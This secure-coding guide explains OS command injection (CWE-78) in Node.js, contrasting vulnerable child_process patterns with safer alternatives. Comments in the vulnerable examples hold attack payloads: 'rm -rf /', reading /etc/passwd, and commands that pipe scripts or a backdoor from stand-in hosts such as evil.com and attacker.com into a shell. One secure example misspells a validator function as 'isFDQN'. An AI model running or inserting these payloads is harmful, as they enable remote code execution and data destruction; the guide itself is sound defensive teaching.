CWE-78: OS Command Injection - JavaScript
Overview
OS Command Injection in JavaScript/Node.js applications occurs when untrusted user input is incorporated into operating system commands without proper validation or sanitization. Attackers can exploit this to execute arbitrary commands on the host operating system, leading to complete system compromise, data theft, or denial of service.
Common Node.js Command Injection Scenarios:
- Using
child_process.exec()with user input - Shell command construction with template literals
- String concatenation in
child_process.spawn()withshell: true - Unsafe use of
eval()orFunction()with system commands - File path manipulation in system utilities
Node.js Command Execution APIs:
- child_process.exec(): Spawns shell, vulnerable to injection
- child_process.execSync(): Synchronous exec, spawns shell
- child_process.spawn(): Can be safe if
shell: false - child_process.spawnSync(): Synchronous spawn
- child_process.execFile(): Safer, doesn't spawn shell by default
- child_process.fork(): Spawns Node.js processes
Primary Defence: Use Node.js native modules (fs, https, etc.) instead of system commands, or if unavoidable, use child_process.execFile() or spawn() with argument arrays and shell: false.
Common Vulnerable Patterns
exec() with User Input
// VULNERABLE - child_process.exec() with string concatenation
const { exec } = require('child_process');
function pingHost(hostname) {
// VULNERABLE - User input in command string
const command = `ping -c 4 ${hostname}`;
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
return;
}
console.log(stdout);
});
}
// Attack: hostname = "8.8.8.8; rm -rf /"
// Executes: ping -c 4 8.8.8.8; rm -rf /
// Deletes entire filesystem!
Why this is vulnerable:
exec()spawns a shell (/bin/sh or cmd.exe)- Semicolon allows command chaining
- No input validation
- Complete system compromise
Template Literals in Commands
// VULNERABLE - Template literals with user input
const { execSync } = require('child_process');
function convertImage(filename) {
// VULNERABLE - Template literal with user input
const command = `convert ${filename} output.png`;
try {
execSync(command);
console.log('Image converted successfully');
} catch (error) {
console.error('Conversion failed:', error.message);
}
}
// Attack: filename = "input.jpg; cat /etc/passwd > public/passwd.txt"
// Exfiltrates system passwords
Why this is vulnerable:
execSync()spawns shell- Template literals don't escape shell metacharacters
- Command injection via semicolon
- Data exfiltration
Express Route with exec()
// VULNERABLE - Express route executing system commands
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
// VULNERABLE - User input in nslookup command
exec(`nslookup ${domain}`, (error, stdout, stderr) => {
if (error) {
return res.status(500).send('Lookup failed');
}
res.send(stdout);
});
});
// Attack: /lookup?domain=google.com;cat%20/etc/passwd
// Executes both nslookup and cat commands
Why this is vulnerable:
- User input from query parameter
- No validation or sanitization
- Shell spawned by exec()
- Arbitrary command execution
spawn() with shell: true
// VULNERABLE - spawn() with shell enabled
const { spawn } = require('child_process');
function listDirectory(directory) {
// VULNERABLE - spawn with shell: true
const ls = spawn('ls', ['-la', directory], { shell: true });
ls.stdout.on('data', (data) => {
console.log(data.toString());
});
}
// Attack: directory = "; rm -rf /"
// With shell: true, command injection is possible
Why this is vulnerable:
shell: trueenables shell processing- Arguments are still processed by shell
- Semicolon allows command injection
- Directory traversal possible
Git Commands with User Input
// VULNERABLE - Git operations with user input
const { execSync } = require('child_process');
function cloneRepository(repoUrl) {
// VULNERABLE - User-controlled URL in git clone
const command = `git clone ${repoUrl} /tmp/repo`;
try {
execSync(command);
console.log('Repository cloned');
} catch (error) {
console.error('Clone failed');
}
}
// Attack: repoUrl = "https://evil.com/repo.git; curl http://attacker.com/shell.sh | bash"
// Downloads and executes remote script
Why this is vulnerable:
- User-controlled URL
- Command injection via semicolon
- Remote code execution
- System compromise
File Operations with System Commands
// VULNERABLE - Using system commands for file operations
const { exec } = require('child_process');
function deleteFile(filename) {
// VULNERABLE - User input in rm command
const command = `rm -f /tmp/${filename}`;
exec(command, (error) => {
if (error) {
console.error('Delete failed');
}
});
}
// Attack: filename = "../../../etc/passwd"
// Directory traversal + file deletion
Why this is vulnerable:
- User-controlled filename
- Directory traversal with ../
- Can delete arbitrary files
- System files at risk
PDF Generation with System Tools
// VULNERABLE - PDF generation with user input
const { execFile } = require('child_process');
function generatePDF(htmlContent, outputPath) {
// VULNERABLE - Even execFile can be dangerous with wrong usage
execFile('wkhtmltopdf', ['-', outputPath], {
shell: true, // DANGEROUS!
input: htmlContent
}, (error) => {
if (error) {
console.error('PDF generation failed');
}
});
}
// Attack: outputPath = "output.pdf; curl http://evil.com/malware.sh | bash"
// With shell: true, command injection is possible
Why this is vulnerable:
execFile()withshell: trueis vulnerable- User-controlled output path
- Command injection possible
- Remote code execution
Archive Operations
// VULNERABLE - Archive extraction with user input
const { exec } = require('child_process');
function extractArchive(archiveName) {
// VULNERABLE - User input in tar command
const command = `tar -xzf uploads/${archiveName}`;
exec(command, (error) => {
if (error) {
console.error('Extraction failed');
}
});
}
// Attack: archiveName = "archive.tar.gz; wget http://evil.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor"
// Downloads and executes backdoor
Why this is vulnerable:
- User-controlled archive name
- Command injection via semicolon
- Backdoor installation
- Persistent compromise
Secure Patterns
Use spawn() Without Shell
WARNING: Avoid executing OS commands if at all possible. Node.js has packages for almost everything (axios, fs-extra, archiver, etc.). This pattern is ONLY for cases where no npm package exists (e.g., calling a legacy third-party binary). Always exhaust all Node.js alternatives first.
// USE WITH CAUTION - spawn() with shell: false (default)
const { spawn } = require('child_process');
function pingHostSecure(hostname) {
// Validate hostname format
const hostnameRegex = /^[a-zA-Z0-9.-]+$/;
if (!hostnameRegex.test(hostname)) {
throw new Error('Invalid hostname format');
}
// SECURE - spawn without shell, arguments as array
const ping = spawn('ping', ['-c', '4', hostname], { shell: false });
ping.stdout.on('data', (data) => {
console.log(data.toString());
});
ping.on('error', (error) => {
console.error('Ping failed:', error.message);
});
}
Why this works: Using spawn() with shell: false (the default) passes arguments directly to the executable without shell interpretation. Even if hostname contains shell metacharacters like ;, |, or &&, they're treated as literal data rather than command separators. The regex validation provides defense-in-depth by rejecting malformed hostnames before they reach spawn.
execFile() Without Shell
WARNING: Use Node.js native libraries instead (sharp, jimp for images; archiver for archives). Only use execFile() when no npm alternative exists.
// AVOID IF POSSIBLE - execFile() doesn't spawn shell by default
const { execFile } = require('child_process');
function convertImageSecure(inputFile, outputFile) {
// Validate file extensions
const allowedExtensions = ['.jpg', '.png', '.gif', '.webp'];
const inputExt = path.extname(inputFile).toLowerCase();
const outputExt = path.extname(outputFile).toLowerCase();
if (!allowedExtensions.includes(inputExt) || !allowedExtensions.includes(outputExt)) {
throw new Error('Invalid file extension');
}
// Validate filenames (no directory traversal)
if (inputFile.includes('..') || outputFile.includes('..')) {
throw new Error('Invalid file path');
}
// SECURE - execFile with argument array
execFile('convert', [inputFile, outputFile], (error, stdout, stderr) => {
if (error) {
console.error('Conversion failed:', error.message);
return;
}
console.log('Converted successfully');
});
}
Why this works: The execFile() function directly executes the specified program without spawning a shell, preventing command injection through shell metacharacters. File extension allowlisting ensures only permitted image formats are processed, while directory traversal checks (..) prevent access to files outside the intended directory. Arguments passed as an array are not subject to shell parsing.
Use Native Node.js APIs
// SECURE - Use native fs module instead of system commands
const fs = require('fs').promises;
const path = require('path');
async function deleteFileSecure(filename) {
// Validate filename
const safeFilename = path.basename(filename);
if (safeFilename.includes('..')) {
throw new Error('Invalid filename');
}
// Construct safe path
const safePath = path.join('/tmp', safeFilename);
// SECURE - Use native fs.unlink instead of rm command
try {
await fs.unlink(safePath);
console.log('File deleted successfully');
} catch (error) {
console.error('Delete failed:', error.message);
}
}
Why this works: Using Node.js's native fs.unlink() API completely eliminates command injection vulnerabilities by avoiding OS command execution entirely. The function operates directly on the filesystem through Node.js internals without invoking shells or external processes. Using path.basename() strips directory components, preventing path traversal attacks even if the input contains ../ sequences.
Express with Validation
// SECURE - Express route with strict validation
const express = require('express');
const { execFile } = require('child_process');
const validator = require('validator');
const app = express();
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
// SECURE - Validate domain format
if (!domain || !validator.isFDQN(domain)) {
return res.status(400).send('Invalid domain name');
}
// Limit domain length
if (domain.length > 253) {
return res.status(400).send('Domain too long');
}
// SECURE - execFile without shell
execFile('nslookup', [domain], (error, stdout, stderr) => {
if (error) {
return res.status(500).send('Lookup failed');
}
res.send(stdout);
});
});
app.listen(3000);
Why this works: The validator.isFDQN() function ensures the domain matches fully qualified domain name standards, rejecting strings with shell metacharacters or command separators. Length limits prevent buffer overflow attempts. Using execFile() without the shell option passes the domain as a single argument to nslookup, where special characters are treated as literal data rather than executable commands.
Git Operations with Validation
// SECURE - Git clone with URL validation
const { execFile } = require('child_process');
const { URL } = require('url');
const path = require('path');
function cloneRepositorySecure(repoUrl) {
// SECURE - Validate URL format
let parsedUrl;
try {
parsedUrl = new URL(repoUrl);
} catch (error) {
throw new Error('Invalid repository URL');
}
// Allowlist allowed protocols
const allowedProtocols = ['https:', 'git:', 'ssh:'];
if (!allowedProtocols.includes(parsedUrl.protocol)) {
throw new Error('Invalid protocol. Only HTTPS, Git, and SSH allowed');
}
// Allowlist allowed hosts (optional)
const allowedHosts = ['github.com', 'gitlab.com', 'bitbucket.org'];
if (!allowedHosts.includes(parsedUrl.hostname)) {
throw new Error('Repository host not allowed');
}
// Generate safe destination path
const repoName = path.basename(parsedUrl.pathname, '.git');
const destination = path.join('/tmp/repos', repoName);
// SECURE - execFile with argument array
execFile('git', ['clone', repoUrl, destination], (error, stdout, stderr) => {
if (error) {
console.error('Clone failed:', error.message);
return;
}
console.log('Repository cloned successfully');
});
}
Why this works: Parsing the URL with the URL class validates its structure and rejects malformed inputs. Protocol and host allowlists create a strict boundary of acceptable sources, preventing attackers from referencing malicious repositories or using protocols that could execute code. Using execFile() with an argument array ensures the URL is passed as data to git, not interpreted by a shell.
Archive Operations with Native Libraries
// SECURE - Use native libraries instead of system tar command
const tar = require('tar');
const path = require('path');
async function extractArchiveSecure(archiveName) {
// Validate archive name
const safeArchive = path.basename(archiveName);
if (!safeArchive.endsWith('.tar.gz') && !safeArchive.endsWith('.tgz')) {
throw new Error('Invalid archive format');
}
if (safeArchive.includes('..')) {
throw new Error('Invalid archive name');
}
const archivePath = path.join('/uploads', safeArchive);
const extractPath = path.join('/tmp/extracted', path.basename(safeArchive, '.tar.gz'));
// SECURE - Use tar library instead of system command
try {
await tar.extract({
file: archivePath,
cwd: extractPath,
strict: true,
filter: (path) => {
// Prevent directory traversal in archive
return !path.includes('..');
}
});
console.log('Archive extracted successfully');
} catch (error) {
console.error('Extraction failed:', error.message);
}
}
Why this works: The native tar library processes archives in JavaScript without invoking the system tar command, eliminating shell command injection entirely. File extension validation ensures only tar.gz files are processed, while path.basename() strips directory components. The filter function provides an additional layer of protection by rejecting archive entries containing .., preventing zip slip vulnerabilities.
Command Allowlist Approach
// SECURE - Allowlist of allowed commands
const { execFile } = require('child_process');
const ALLOWED_COMMANDS = {
'ping': {
executable: '/bin/ping',
allowedArgs: ['-c', '-W'],
maxArgs: 3
},
'nslookup': {
executable: '/usr/bin/nslookup',
allowedArgs: [],
maxArgs: 1
}
};
function executeAllowlistedCommand(commandName, args) {
// Validate command exists in allowlist
const command = ALLOWED_COMMANDS[commandName];
if (!command) {
throw new Error(`Command '${commandName}' not allowed`);
}
// Validate argument count
if (args.length > command.maxArgs) {
throw new Error('Too many arguments');
}
// Validate each argument
for (const arg of args) {
// Only allow alphanumeric, dots, dashes
if (!/^[a-zA-Z0-9.-]+$/.test(arg)) {
throw new Error('Invalid argument format');
}
}
// SECURE - execFile with validated executable and args
execFile(command.executable, args, (error, stdout, stderr) => {
if (error) {
console.error('Command failed:', error.message);
return;
}
console.log(stdout);
});
}
// Usage
executeAllowlistedCommand('ping', ['-c', '4', '8.8.8.8']);
Why this works: The command allowlist approach creates an explicit allowlist of permitted executables with absolute paths, preventing attackers from executing arbitrary programs. Argument validation with regex ensures only safe characters are passed, blocking shell metacharacters. Limiting the number of arguments prevents abuse through argument injection. This defense-in-depth strategy works even if individual validation layers are bypassed.
Containerized Command Execution
// SECURE - Execute commands in Docker container
const { execFile } = require('child_process');
function executeInContainer(userCommand, args) {
// Validate command is in allowlist
const allowedCommands = ['convert', 'ffmpeg', 'gs'];
if (!allowedCommands.includes(userCommand)) {
throw new Error('Command not allowed');
}
// Validate arguments (no shell metacharacters)
for (const arg of args) {
if (/[;&|$`<>]/.test(arg)) {
throw new Error('Invalid characters in arguments');
}
}
// SECURE - Execute in isolated Docker container
const dockerArgs = [
'run',
'--rm', // Remove container after execution
'--network=none', // No network access
'--memory=256m', // Memory limit
'--cpus=0.5', // CPU limit
'--read-only', // Read-only filesystem
'alpine', // Minimal base image
userCommand,
...args
];
execFile('docker', dockerArgs, (error, stdout, stderr) => {
if (error) {
console.error('Execution failed:', error.message);
return;
}
console.log(stdout);
});
}
Why this works: Executing commands inside Docker containers provides strong isolation - even if command injection occurs, the attacker is trapped in an isolated environment with no network access, limited resources, and a read-only filesystem. The minimal Alpine base image reduces the attack surface. Resource limits (memory, CPU) prevent denial of service. This approach assumes breach and limits damage through containerization rather than trying to prevent all attacks.
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced